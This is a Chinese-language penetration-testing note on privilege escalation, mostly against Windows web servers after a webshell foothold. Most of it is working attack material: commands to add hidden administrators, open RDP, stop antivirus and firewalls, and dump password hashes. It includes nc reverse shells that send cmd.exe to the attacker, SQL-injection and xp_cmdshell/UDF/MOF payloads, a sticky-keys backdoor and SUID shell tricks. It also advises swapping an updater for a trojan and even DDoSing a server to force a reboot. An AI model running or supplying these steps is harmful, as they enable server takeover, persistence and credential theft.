渗透测试学习笔记(提权)

web提权

1.能不能执行cmd就看这个命令:net user,net不行就用net1,再不行就上传一个net到可写可读目录,执行/c c:windowstempcookiesnet1.exe user

2.当提权成功,3389没开的情况下,上传开3389的vps没成功时,试试上传rootkit.asp 用刚提权的用户登录进去就是system权限,再试试一般就可以了。

3.cmd拒绝访问的话就自己上传一个cmd.exe 自己上传的后缀是不限制后缀的,cmd.exe/cmd.com/cmd.txt 都可以。

4.cmd命令:systeminfo,看看有没有KB952004、KB956572、KB970483这三个补丁,如果没有,第一个是pr提权,第二个是巴西烤肉提权,第三个是iis6.0提权。

6.c:windowstempcookies 这个目录

7.找sa密码或是root密码,直接利用大马的文件搜索功能直接搜索,超方便!

8.cmd执行exp没回显的解决方法:com路径那里输入exp路径C:RECYCLERpr.exe,命令那里清空(包括/c )输入”net user jianmei daxia /add”

9.增加用户并提升为管理员权限之后,如果连接不上3389,上传rootkit.asp脚本,访问会提示登录,用提权成功的账号密码登录进去就可以拥有管理员权限了。

10.有时变态监控不让添加用户,可以尝试抓管理哈希值,上传“PwDump7 破解当前管理密码(hash值)”,俩个都上传,执行PwDump7.exe就可以了,之后到网站去解密即可。

11.有时增加不上用户,有可能是密码过于简单或是过于复杂,还有就是杀软的拦截,命令 tasklist 查看进程

12.其实星外提权只要一个可执行的文件即可,先运行一遍cmd,之后把星外ee.exe命名为log.csv 就可以执行了。

13.用wt.asp扫出来的目录,其中红色的文件可以替换成exp,执行命令时cmd那里输入替换的文件路径,下面清空双引号加增加用户的命令。

14.提权很无奈的时候,可以试试TV远控,通杀内外网,穿透防火墙,很强大的。

15. 当可读可写目录存在空格的时候,会出现这样的情况:’C:Documents’ 不是内部或外部命令,也不是可运行的程序 或批处理文件。解决办法是利用菜刀的交互shell切换到exp路径,如:Cd C:Documents and SettingsAll UsersApplication DataMicrosoft 目录
然后再执行exp或者cmd,就不会存在上面的情况了,aspshell一般是无法跳转目录的~

16.有时候可以添加用户,但是添加不到管理组,有可能是administrators改名了,net user administrator 看下本地组成员,*administrators

17.进入服务器,可以继续内网渗透 这个时候可以尝试打开路由器 默认帐号密码 admin admin

18.有的cmd执行很变态,asp马里,cmd路径填上面,下面填:””c:xxxexp.exe “whoami” 记得前面加两个双引号,不行后面也两个,不行就把exp的路径放在cmd那里,下面不变。

19.一般增加不上用户,或是想添加增加用户的vbs,bat,远控小马到服务器的启动项里,用“直接使服务器蓝屏重启的东东”这个工具可以实现,

20.执行PwDump7.exe抓哈希值的时候,建议重定向结果到保存为1.txt /c c:windowstempcookiesPwDump7.exe >1.txt

21.菜刀执行的技巧,上传cmd到可执行目录,右击cmd 虚拟终端,help 然后setp c:windowstempcmd.exe 设置终端路径为:c:windowstempcmd.exe

22.当不支持aspx,或是支持但跨不了目录的时候,可以上传一个读iis的vps,执行命令列出所有网站目录,找到主站的目录就可以跨过去了。
上传cscript.exe到可执行目录,接着上传iispwd.vbs到网站根目录,cmd命令/c “c:windowstempcookiescscript.exe” d:webiispwd.vbs

23.如何辨别服务器是不是内网?192.168.x.x 172.16.x.x 10.x.x.x

dos命令大全

查看版本:ver

查看权限:whoami

查看配置:systeminfo

查看用户:net user

查看进程:tasklist

查看正在运行的服务:tasklist /svc

查看开放的所有端口:netstat -ano

查询管理用户名:query user

查看搭建环境:ftp 127.0.0.1

查看指定服务的路径:sc qc Mysql

添加一个用户:net user jianmei daxia.asd /add

提升到管理权限:net localgroup administrators jianmei /add

添加用户并提升权限:net user jianmei daxia.asd /add & net localgroup administrators jianmei /add

查看制定用户信息:net user jianmei

查看所有管理权限的用户:net localgroup administrators

加入远程桌面用户组:net localgroup “Remote Desktop Users” jianmei /add

突破最大连接数:mstsc /admin /v:127.0.0.1

删除用户:net user jianmei /del

删除管理员账户:net user administrator daxia.asd

更改系统登陆密码:net password daxia.asd

激活GUEST用户:net user guest /active:yes

开启TELNET服务:net start telnet

关闭麦咖啡:net stop “McAfee McShield”

关闭防火墙:net stop sharedaccess

查看当前目录的所有文件:dir c:windows

查看制定文件的内容:type c:windows1.asp

把cmd.exe复制到c:windows的temp目录下并命名为cmd.txt:

copy c:windowstempcookiescmd.exe c:windowstempcmd.txt

开3389端口的命令:

REG ADD HKLMSYSTEMCurrentControlSetControlTerminal” “Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

查 看补丁:

dir c:windows>a.txt&(for %i in (KB952004.log KB956572.log KB2393802.log KB2503665.log KB2592799.log KB2621440.log KB2160329.log KB970483.log KB2124261.log KB977165.log KB958644.log) do @type a.txt|@find /i “%i”||@echo %i Not Installed!)&del /f /q /a a.txt

SQL语句直接开启3389

3389登陆关键注册表位置:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\DenyTSConnections

其中键值DenyTSConnections 直接控制着3389的开启和关闭,当该键值为0表示3389开启,1则表示关闭。

而MSSQL的xp_regwrite的存储过程可以对注册进行修改,我们使用这点就可以简单的修改DenyTSConnections键值,从而控制3389的关闭和开启。


开启3389的SQL语句:

syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–


关闭3389的SQL语句:

syue.com/xiaohua.asp?id=100;exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEM\CurrentControlSet\Control\Terminal Server ’,’fDenyTSConnections’,’REG_DWORD’,1;–

常见杀软

360tray.exe 360实时保护

ZhuDongFangYu.exe 360主动防御

KSafeTray.exe 金山卫士

McAfee McShield.exe 麦咖啡

SafeDogUpdateCenter.exe 服务器安全狗

windows提权中敏感目录和敏感注册表的利用

敏感目录 目录权限 提权用途

C:Program Files 默认用户组users对该目录拥有查看权 可以查看服务器安装的应用软件
C:Documents and SettingsAll Users「开始」菜单程序 Everyone拥有查看权限 存放快捷方式,可以下载文件,属性查看安装路径
C:Documents and SettingsAll UsersDocuments Everyone完全控制权限 上传执行cmd及exp
C:windowssystem32inetsrv Everyone完全控制权限 上传执行cmd及exp
C:windowsmy.iniC:Program FilesMySQLMySQL Server 5.0my.ini 默认用户组users拥有查看权限 安装mysql时会将root密码写入该文件
C:windowssystem32 默认用户组users拥有查看权限 Shift后门一般是在该文件夹,可以下载后门破解密码
C:Documents and SettingsAll Users「开始」菜单程序启动 Everyone拥有查看权限 可以尝试向该目录写入vbs或bat,服务器重启后运行。
C:RECYCLERD:RECYCLER Everyone完全控制权限 回收站目录。常用于执行cmd及exp
C:Program FilesMicrosoft SQL Server 默认用户组users对该目录拥有查看权限 收集mssql相关信息,有时候该目录也存在可执行权限
C:Program FilesMySQL 默认用户组users对该目录拥有查看权限 找到MYSQL目录中user.MYD里的root密码
C:oraclexe 默认用户组users对该目录拥有查看权限 可以尝试利用Oracle的默认账户提权
C:WINDOWSsystem32config 默认用户组users对该目录拥有查看权限 尝试下载sam文件进行破解提权
C:Program FilesGeme6 FTP ServerRemote AdminRemote.ini 默认用户组users对该目录拥有查看权限 Remote.ini文件中存放着G6FTP的密码
c:Program FilesRhinoSoft.comServ-Uc:Program FilesServ-U 默认用户组users对该目录拥有查看权限 ServUDaemon.ini 中存储了虚拟主机网站路径和密码
c:windowssystem32inetsrvMetaBase.xml 默认用户组users对该目录拥有查看权限 IIS配置文件
C:tomcat5.0confresin.conf 默认用户组users对该目录拥有查看权限 Tomat存放密码的位置
C:ZKEYSSetup.ini 默认用户组users对该目录拥有查看权限 ZKEYS虚拟主机存放密码的位置

**提权中的敏感注册表位置 **

HKEY_LOCAL_MACHINESOFTWAREMicrosoftMSSQLServerMSSQLServerSuperSocketNetLibTcp Mssql端口
HKLMSYSTEMCurrentControlSetControlTerminal Server DenyTSConnections 远程终端 值为0 即为开启
HKEY_LOCAL_MACHINESOFTWAREMySQL AB mssql的注册表位置
HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG 华众主机注册表配置位置
HKEY_LOCAL_MACHINESOFTWARECat SoftServ-UDomains1UserList serv-u的用户及密码(su加密)位置
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminalServer WinStationsRDP-Tcp 在该注册表位置PortNumber的值即位3389端口值
HKEY_CURRENT_USERSoftwarePremiumSoftNavicatServers mysql管理工具Navicat的注册表位置,提权运用请谷歌
HKEY_LOCAL_MACHINESYSTEMRAdminv2.0ServerParameters Radmin的配置文件,提权中常将其导出进行进行覆盖提权
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual Roots IIS注册表全版本泄漏用户路径和FTP用户名漏洞
HKEY_LOCAL_MACHINEsoftwarehzhostconfigSettingsmastersvrpass 华众主机在注册表中保存的mssql、mysql等密码
HKEY_LOCAL_MACHINESYSTEMLIWEIWENSOFTINSTALLFREEADMIN11 星外主机mssql的sa账号密码,双MD5加密
HKEY_LOCAL_MACHINESYSTEMControlSet002ServicesMSFtpsvcParametersVirtual RootsControlSet002 星外ftp的注册表位置,当然也包括ControlSet001、ControlSet003

**wscript.shell的删除和恢复 **

载wscript.shell对象,在cmd下或直接运行:regsvr32 /u %windir%system32WSHom.Ocx

卸载FSO对象,在cmd下或直接运行:regsvr32.exe /u %windir%system32scrrun.dll

卸载stream对象,在cmd下或直接运行:regsvr32 /s /u “C:ProgramFilesCommonFilesSystemadomsado15.dll”

如果想恢复的话只需要去掉/U 即可重新再注册以上相关ASP组件,这样子就可以用了

如何找到准确的终端连接端口?

在aspx大马里,点击“系统信息”第三个就是目前的3389端口

或是执行命令查看正在运行的服务:tasklist /svc

找到:svchost.exe 1688 TermService

记住1688这个ID值,

查看开放的所有端口:netstat -ano

找到1688这个ID值所对应的端口就是3389目前的端口

**iis6提权提示Can not find wmiprvse.exe的突破方法 **

windows2003    iis6



iis7在windows2008以上


突破方法一:

在IIS环境下,如果权限做得不严格,我们在aspx大马里面是有权限直接结束wmiprvse.exe进程的,进程查看里面直接K掉

在结束之后,它会再次运行,这时候的PID值的不一样的。这时候我们回来去运行exp,直接秒杀。


突破方法二:

虚拟主机,一般权限严格限制的,是没权限结束的,这时候我们可以考虑配合其他溢出工具让服务器强制重启,比如“直接使服务器蓝屏重启的东东”

甚至可以暴力点,DDOS秒杀之,管理发现服务器不通了首先肯定是以为服务器死机,等他重启下服务器(哪怕是IIS重启下)同样秒杀之。

** 本地溢出提权 **

计算机有个地方叫缓存区,程序的缓存区长度是被事先设定好的,如果用户输入的数据超过了这个缓存区的长度,那么这个程序就会溢出了.

缓存区溢出漏洞主要是由于许多软件没有对缓存区检查而造成的.

利用一些现成的造成溢出漏洞的exploit通过运行,把用户从users组或其它系统用户中提升到administrators组.

想要执行cmd命令,就要wscript.shell组建支持,或是支持aspx脚本也行,因为aspx脚本能调用.net组件来执行cmd的命令.

sa提权 --windows。。sqlserver只能用于windows

扫描开放的端口,1433开了就可以找sa密码提权,用大马里的搜索文件功能,sa密码一般在conn.asp config.asp web.config 这三个文件

也可以通过注册表找配置文件,看下支持aspx不,支持的话跨目录到别的站点上找,找到之后用aspshell自带的sql提权登录再执行命令创建用户即可。

aspx马提权执行命令有点不一样,点击数据库管理–选MSSQL–server=localhost;UID=sa;PWD=;database=master;Provider=SQLOLEDB–输入帐号密码连接即可

增加一个用户:exec master.dbo.xp_cmdshell ‘net user jianmei daxia.asd /add’;–
提升为管理员:exec master.dbo.xp_cmdshell ‘net localgroup administrators jianmei /add’;–

PS:如果增加不上,说明是xp_cmdshell组建没有,增加xp_cmdshell组建:Use master dbcc addextendedproc(‘xp_cmdshell’,’xplog70.dll’)

root提权 -windows/linux

利用mysql提权的前提就是,服务器安装了mysql,mysql的服务没有降权,是默认安装以系统权限继承的(system权限). 并且获得了root的账号密码

如何判断一台windows服务器上的mysql有没有降权?
cmd命令net user 如果存在 mysql mssql这样用户或者类似的.通常就是它的mssql mysql服务已经被降权运行了

如何判断服务器上是否开启了mysql服务?
开了3306端口,有的管理员会把默认端口改掉.另一个判断方法就是网站是否支持php,一般支持的话都是用mysql数据库的.

如何查看root密码?
在mysql的安装目录下找到user.myd这个文件,root就藏在里面,一般是40位cmd加密,一些php网站安装的时候用的是root用户,在conn.asp config.asp这些文件里。
有时会显得很乱,这时就需要自己去组合,前17位在第一行可以找到,还有23位在第三行或是其他行,自己继续找。

可以直接用php脚本里“mysql执行”,或是上传个UDF.php,如果网站不支持PHP,可以去旁一个php的站,也可以把UDF.php上传到别的phpshell上也可以。

填入帐号密码之后,自然就是安装DLL了,点击“自动安装Mysql BackDoor” 显示导出跟创建函数成功后,紧接着执行增加用户的命令即可。

注意:5.0版本以下(包括5.0的)默认c:windows系统目录就可以了,5.1版本以上的不能导出到系统目录下创建自定义函数,只能导出在mysql安装目录下的lib/plugin目录中

例如:D:/Program Files/MySQL/MySQL Server 5.1/lib/plugin/mysql.dll

如果密码看不见,或是组合不到40位,就本地安装一个mysql吧,
1、停止mysql服务
2、替换下载下来的3个文件(user.MYI user.MYD user.frm)
3、cmd切换到bin目录下,进入mysql安全模式,cmd命令:mysqld-nt –skip-grant-tables
4、重新打开一个cmd 切换到bin目录下,cmd命令:mysql -u root 版本不同有可能是:mysql -uroot -proot
5、最后查询一下就出来了select user,password from mysql.user;

serv-u提权 --ftp–windows

这个文件里包含serv-u的md5密码:C:Program FilesRhinoSoft.comServ-U\ServUDaemon.ini

找到这个文件:ServUDaemon.ini 打开找到:LocalSetupPassword=nqFCE64E0056362E8FCAF813094EC39BC2

再拿md5密文去解密,再用现在的密码登陆提权即可。

serv-u提权的前提是43958端口开了,且知道帐号密码!

如果帐号密码默认,直接用shell里面的serv-u提权功能即可搞定,建议用aspx马、php马去提权,因为可以看回显。

530说明密碼不是默认的,回显330说明成功,900说明密码是默认的……………..

在程序里找个快捷方式,或是相关的文件进行下载到本地,再查看文件的属性,就可以找到serv-u的安装目录了。

目录有修改权限之serv-u提权:

找到serv-u的目录,再找到用户的配置文件ServUDaemon.ini,直接增加一个用户代码,保存!

接着本地cmd命令:ftp 服务器ip

回车,输入帐号密码再回车………………….

接着先试试普通的cmd命令提权,不行的话就使用ftp提权的命令:

Quote site exec net user jianmei daxia /add 增加一个用户

Quote site exec net localgroup administrators jianmei /add 提升到管理员权限

200 EXEC command successful (TID=33). 执行成功的回显信息

Maintenance=System 权限类型多加一行指定新加帐号为系统管理员

ReloadSettings=True 在修改ini文件后需加入此项,这时serv-u会自动刷新配置文件并生效

端口转发

什么情况下适合转发端口?

1.服务器是内网,我们无法连接。
2.服务器上有防火墙,阻断我们的连接。

转发端口的前提,我们是外网或是有外网服务器。

找个可读可写目录上传lcx.exe

本地cmd命令:lcx.exe -listen 1988 4567 (监听本地1988端口并转发到4567端口)

接着shell命令:/c c:windowstempcookieslcx.exe -slave 本机ip 1988 服务器ip 3389 (把服务器3389端口转发到本地4567端口)

之后本地连接:127.0.0.1:4567 (如果不想加上:4567的话,本地执行命令的时候,把4567换成3389来执行就行了)

以上是本机外网情况下操作,接着说下在外网服务器里如何操作:

上传lxc.exe cmd.exe到服务器且同一目录,执行cmd.exe命令:lcx.exe -listen 1988 4567

接着在aspxshell里点击端口映射,远程ip改为站点的ip,远端口程填1988,点击映射端口,接着在服务器里连接127.0.0.1:4567就可以了。

nc反弹提权

当可以执行net user,但是不能建立用户时,就可以用NC反弹提权试下,特别是内网服务器,最好用NC反弹提权。

不过这种方法, 只要对方装了防火墙, 或是屏蔽掉了除常用的那几个端口外的所有端口,那么这种方法也失效了….

找个可读可写目录上传nc.exe cmd.exe


-l 监听本地入栈信息

-p port打开本地端口

-t 以telnet形式应答入栈请求

-e 程序重定向

本地cmd执行:nc -vv -l -p 52 进行反弹

接着在shell里执行命令:c:windowstempnc.exe -vv 服务器ip 999 -e c:windowstempcmd.exe 最好是80或8080这样的端口,被防火墙拦截的几率小很多

执行成功后本地cmd命令:cd/ (只是习惯而已)

接着以telnet命令连接服务器:telnet 服务器ip 999

回车出现已选定服务器的ip就说明成功了,接着权限比较大了,尝试建立用户!

坏蛋:
本地cmd执行:nc -vv -l -p 52 进行反弹
c:windowstempnc.exe -e c:windowstempcmd.exe 服务器ip 52

低调小飞:
shell执行命令c:windowstempnc.exe -l -p 110 -t -e c:windowstempcmd.exe


一般这样的格式执行成功率很小,不如直接在cmd那里输入:c:windowstempnc.exe 命令这里输入:-vv 服务器ip 999 -e c:windowstempcmd.exe

这个技巧成功率比上面那个大多了,不单单是nc可以这样,pr这些提权exp也是可以的。

星外提权–windows

如何知道是不是星外主机?

第一:网站物理路径存在“freehost”
第二:asp马里点击程序,存在“7i24虚拟主机管理平台”“星外主机”之类的文件夹

默认帐号:freehostrunat
默认密码:fa41328538d7be36e83ae91a78a1b16f!7

freehostrunat这个用户是安装星外时自动建立的,已属于administrators管理组,而且密码不需要解密,直接登录服务器即可

星外常写目录:

C:RECYCLER
C:windowstemp
e:recycler
f:recycler
C:phpPEAR
C:WINDOWS7i24.comFreeHost
C:phpdev
C:System Volume Information 
C:7i24.comserverdoctorlog
C:WINDOWSTemp
c:windowshchiblis.ibl 
C:7i24.comiissafelog 
C:7i24.comLinkGatelog 
C:Program FilesThunder NetworkThunder7
C:Program FilesThunder NetworkThunder
C:Program FilesSymantec AntiVirusSAVRT
c:windowsDriverPacksCAM2
C:Program FilesFlashFXP
c:Program FilesMicrosoft SQL Server90SharedErrorDumps
C:Program FilesZendZendOptimizer-3.3.0 
C:Program FilesCommon Files
c:Documents and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv
c:Program Files360360SafedeepscanSectionmutex.db
c:Program FilesHeliconISAPI_Rewrite3error.log
c:Program FilesHeliconISAPI_Rewrite3Rewrite.log 
c:Program FilesHeliconISAPI_Rewrite3httpd.conf 
c:Program FilesCommon FilesSymantec SharedPersist.bak 
c:Program FilesCommon FilesSymantec SharedValidate.dat 
c:Program FilesCommon FilesSymantec SharedValidate.dat 
C:Program FilesZendZendOptimizer-3.3.0docs
C:Documents and SettingsAll UsersDRM
C:Documents and SettingsAll UsersApplication DataMcAfeeDesktopProtection
C:Documents and SettingsAll UsersApplication Data360safesoftmgr
C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll 
C:Documents and SettingsAll UsersApplication DataMicrosoftMedia Index


ee提权法:

找个可读可写目录上传ee.exe

cmd命令:/c c:windowstempcookiesee.exe -i (获取星外帐号的id值,例如回显:FreeHost ID:724)

接着命令:/c c:windowstempcookiesee.exe -u 724 (获取星外的帐号密码)


vbs提权法:

找个可读可写目录上传cscript.exe iispwd.vbs

cmd命令:/c “c:windowstempcookiescscript.exe” c:windowstempcookiesiispwd.vbs

意思是读取iis,这样一来,不但可以获取星外的帐号密码,还可以看到同服务器上的所有站点的目录。


可行思路大全:

经测试以下目录中的文件权限均为everyone,可以修改,可以上传同文件名替换,删除,最重要的是还可以执行:

360杀毒db文件替换:
c:Program Files360360SDdeepscanSectionmutex.db 
c:Program Files360360SafedeepscanSectionmutex.db 
C:Program Files360360SafeAntiSectionmutex.db

IISrewrite3 文件替换:
C:Program FilesHeliconISAPI_Rewrite3Rewrite.log
C:Program FilesHeliconISAPI_Rewrite3httpd.conf
C:Program FilesHeliconISAPI_Rewrite3error.log

诺顿杀毒文件替换:
c:Program FilesCommon FilesSymantec SharedPersist.bak 
c:Program FilesCommon FilesSymantec SharedValidate.dat 
c:Program FilesCommon FilesSymantec SharedPersist.Dat

一流过滤相关目录及文件: 
C:7i24.comiissafelogstartandiischeck.txt 
C:7i24.comiissafelogscanlog.htm

其他:
Zend文件替换:C:Program FilesZendZendOptimizer-3.3.0libOptimizer-3.3.0php-5.2.xZendOptimizer.dll
华盾文件替换:C:WINDOWShchiblis.ibl
Flash文件替换:C:WINDOWSsystem32MacromedFlashFlash10q.ocx
DU Meter流量统计信息日志文件替换:c:Documents and SettingsAll UsersApplication DataHagel TechnologiesDU Meterlog.csv

360提权–windows

找个可读可写目录上传360.exe

cmd命令:/c c:windowstempcookies360.exe

会提示3段英文:

360 Antivirus Privilege Escalation Exploit By friddy 2010.2.2

You will get a Shift5 door!

Shift5 Backdoor created! 

这是成功的征兆,接着连接服务器连按5下shift键,将弹出任务管理器,点击新建任务:explorer.exe 会出现桌面,接下来大家都会弄了……

搜狗提权–windows

搜狗的目录默认是可读可写的,搜狗每隔一段时间就会自动升级,而升级的文件是pinyinup.exe

我们只要把这个文件替换为自己的远控木马,或是添加账户的批处理,等搜狗升级的时候,就可以达成我们的目的了。

华众虚拟主机提权 --windows

就经验来说,一般溢出提权对虚拟主机是无果的,而且华众又没有星外那么明显的漏洞。

所以华众提权关键之处就是搜集信息,主要注册表位置:

HKEY_LOCAL_MACHINESOFTWAREHZHOSTCONFIG
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmysqlpass root密码
HKEY_LOCAL_MACHINEsoftwarehzhostconfigsettingsmssqlpss sa 密码

c:windowstemp 下有hzhost主机留下的ftp登陆记录有用户名和密码

以上信息配合hzhosts华众虚拟主机系统6.x 破解数据库密码工具使用

百度搜索:hzhosts华众虚拟主机系统6.x 破解数据库密码工具

N点虚拟主机–windows

N点虚拟主机管理系统默认数据库地址为:host_date#host # date#.mdb

rl直接输入不行 这里咱们替换下 #=# 空格=

修改后的下载地址为/host_date/#host # date#196.mdb

N点数据库下载之后找到sitehost表 FTPuser&FTPpass 值 FTPpass是N点加密数据然后用N点解密工具解密得到FTP密码

N点默认安装路径C:Program FilesNpointSoftnpointhostweb
D:Program FilesNpointSoftnpointhostweb
默认权限可读。遇到对方所用虚拟主机是N点时候 可以考虑 读取该文件夹下载数据库

N点解密工具代码

提权思路

提权Webshell:尽量能够获取webshell,如果获取不到webshell可以在有文件上传的地方上传反弹shell脚本;或者利用漏洞(系统漏洞,服务器漏洞,第三方软件漏洞,数据库漏洞)来获取shell。
    反弹shell:利用kali虚拟机msfVENOM编写反弹shell脚本
    被控制端发起的shell---通常用于被控制端因防火墙受限,权限不足、端口被占用
    开启监听:msfconsole模块监听响应的反弹shell脚本(当靶机点击脚本的时候),进入meterpreter模块,可以getsystem权限,获取信息等等,还可以开启远程服务功能(lcx,scocks5)
    

Windows系统漏洞提权思路

windows(可执行文件:一种是.com;另一种.exe)
    系统溢出漏洞操作说明
1、明确漏洞编号及版本
2、明确漏洞利用平台及版本
3、确保cmd执行权限正常运行
4、确保服务器相关防护软件情况

查看系统补丁,提权前期准备【前提已获取webshell】
方法一:输入shell进入到该主机的shell下,然后:systeminfo 查看系统详细信息
方法二:进入到 meterpreter 下,执行 run post/windows/gather/enum_patches 可以直接查看补丁情况
方法三:post/multi/recon/local_exploit_suggester 模块,用于快速识别系统中可能被利用的漏洞
方法四:WMIC命令也可以查看补丁数量
wmic qfe get Caption,Description,HotFixID,InstalledOn
也可以直接找是否存在某个cve-2018-8120对应的KB4131188补丁
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB4131188"
方法五:Windows Exploit Suggester
该工具可以将系统中已经安装的补丁程序与微软的漏洞数据库进行比较,并可以识别可能导致权限提升的漏洞,而其只需要目标系统的信息。
通过msf生成反弹exe进行反弹操作,获取meterpreter通道
监听获取成功后,进行exp的筛选
探测可提取的模块use post/multi/recon/local_exploit_suggester

linux系统提权思路

**linux基础信息收集**
uname -a 显示全部系统信息
cat /etc/issue 内核信息。此命令也适用于所有的Linux发行版
cat /etc/passwd 所有人都可看
ps aux | grep root
**(1)#内核漏洞提权**
方法:
通过信息收集方式得知linux内核版本
使用searchspolit搜索相应版本漏洞
例:searchsploit linux 4.0.0
searchsploit Ubuntu 16.04
searchsploit Ubuntu 16 kernel 3.10
找到对应的.c源文件,将其发送到靶机/或是靶机下载 scp, wget http://127.0.0.1/xx.c
编译,gcc xxx.c -o exp
**(2)#SUID提权**
概念
SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
特点
SUID 权限仅对二进制程序有效
执行者对于该程序需要有可执行权限(x权限)
SUID 权限仅仅在程序执行过程中有效
执行该程序时,执行者将具有该程序拥有者的权限

首先在本地查找符合条件的文件,有以下三个命令
列出来的所有文件都是以root用户权限来执行的,接下来找到可以提权的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
常用的可用于suid提权的文件
Nmap、Vim、find、Bash、More、Less、cp
**(3)#nmap提权**
较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。因此可以使用交互式控制台来运行具有相同权限的shell。
方法一:
启动交互模式,使用nmap --interactive
!sh #执行之后将提供一个提权后的shell。
方法二:
Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。
exploit/unix/local/setuid_nmap
**(4)#find提权**
实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。
**(5)#sudo提权**
sudo命令以系统管理者的身份执行指令,也就是说,经由 sudo 所执行的指令就好像是 root 亲自执行。
sudo 表示 “superuser do”。它允许已验证的用户以其他用户的身份来运行命令。其他用户可以是普通用户或者超级用户。然而,大部分时候我们用它来以提升的权限来运行命令。

数据库提权思路

数据库获取网站数据库的账号和密码
--通过读取一些数据库配置文件
数据库配置文件:命令规则(data、sql、inc、config、conn、database等)
--通过mysql数据库的user表
数据库安装文件:安装目录下data/mysql/user.myd
frm:描述表结构文件,字段长度
myi:索引信息
myd:数据库信息文件,存储数据信息

(1)mysql数据库——udf提权

udf文件:udf(user-defined-function)是mysql得一个拓展接口,也称为用户自定义函数,用户通过自定义函数来实现在mysql中无法方便实现得功能
udf文件后缀名: .dll(windows)linux后缀名:.so
提权原理
已知root账号和密码,利用root权限,创建带有调用cmd函数的“udf.dll”。当我们把udf.dll导出指定文件夹引入mysql时候,其中的调用函数拿出来当作mysql函数来使用
注意事项
mysql版本小于5.1版本,udf.dll文件在windows2003下放在:c:\windows\system32。在windows2000放在:c:\winnt\system32
mysql版本大于5.1版本,udf.dll文件必须放置在mysql安装目录下的lib\plugin。但是大于5.1版本的时候没有plugin这个文件夹,需要自己创建。
利用udf文件加载函数执行命令
create function cmdshell returns string soname 'udf.dll'; //returns string soname ‘导出的DLL路径’;
select cmdshell('net user ndsec ndsecpw /add');
select cmdshell('net localgroup administrators ndsec /add');
drop function cmdshell;

(2)#数据库提权——mof提权

mof文件:mof文件是mysql数据库的扩展文件
存放路径(C:/windows/system32/wbem/mof/nullevt.mof)
其作用是每隔5秒就会去监控进程创建和死亡。
提权条件
1、windows2003及以下
2、mysql启动身份具有权限去读写C:/windows/system32/wbem/mof/目录
3、secure-file-priv=不为null
提权原理
mof文件每5秒就会执行,而且是系统权限,我们可以通过load_file将文件写入/wbme/mof,然后系统每5秒就会执行一次我们上传的mof
mof当中是一段vbs脚本,通过通过控制vbs脚本让系统执行命令,进行提权。

(3)#数据库提权——反弹端口提权

提权条件
1、获取数据库的账号和密码,同时能够执行查询命令。
2、secure_file_priv=,可导出udf.dll到系统目录或者mysql数据库安装目录下的lib下plugin
3、授权mysql数据库远程用户的登录

(4)#数据库提权——启动项提权 (这种方法不推荐)

提权原理
使用mysql写文件,写一段vbs代码到开启自启动中。服务器重启的时候达到创建用户并提取。可以使用DDOS迫使服务器重启
提权条件
secure_file_priv不为null
已知账号和密码

(5)linux系统-udf提权

上传脚本进行监听
靶机连接数据库
查看版本
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/raptor_udf2.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
create function do_system returns integer soname 'raptor_udf2.so';
select do_system('chmod u+s /usr/bin/find');
find / -exec "/bin/sh" \;
mssql数据库SA权限
执行命令存储过程:xp_cmshell、sp_OACreate
注册表存储过程:xp_regwrite
存储过程
其实质就是一个“集合”。它就是存储在sqlserver中预先定义好的“sql语句集合。”使用T-SQL语言编写好的各种小脚本共同组合成的集合体,我们就称为“存储过程”

利用xp_cmdshell提权

(1)xp_cmdshell解释
Xp_cmdshell是sqlserver中的组件,可以以操作系统命令解释器的方式执行给定的命令字符串,并以文本行方式返回任何输出。可以用来执行系统命令
(2)xp_cmdshell开启
默认在sql server2000中是开启的,在sqlserver2005之后的版本默认禁止。如果我们有sa权限,可以用命令开启
exec sp_configure ‘show advanced options’ , 1;reconfigure;
exec sp_configure ‘xp_cmdshell’, 1;reconfigure;
xp_cmdshell 关闭
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
(3)当xp_cmdshell删除或出错的情况下,使用sp_OACreate组件
开启组件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',1;reconfigure;
关闭组件SP_OACreate
exec sp_configure 'show advanced options',1;reconfigure;
exec sp_configure 'ole automation procedures',0;reconfigure;
exec sp_configure 'show advanced options',0;reconfigure;
利用SP_OACreate添加用户提权
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user quan 123456 /add'
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators quan /add'
利用SP_OACreate的其他操作
sp_OACreate替换粘贴键
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';
declare @o int
exec sp_oacreate 'scripting.filesystemobject', @o out
execsp_oamethod@o,'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

第三方软件提权思路

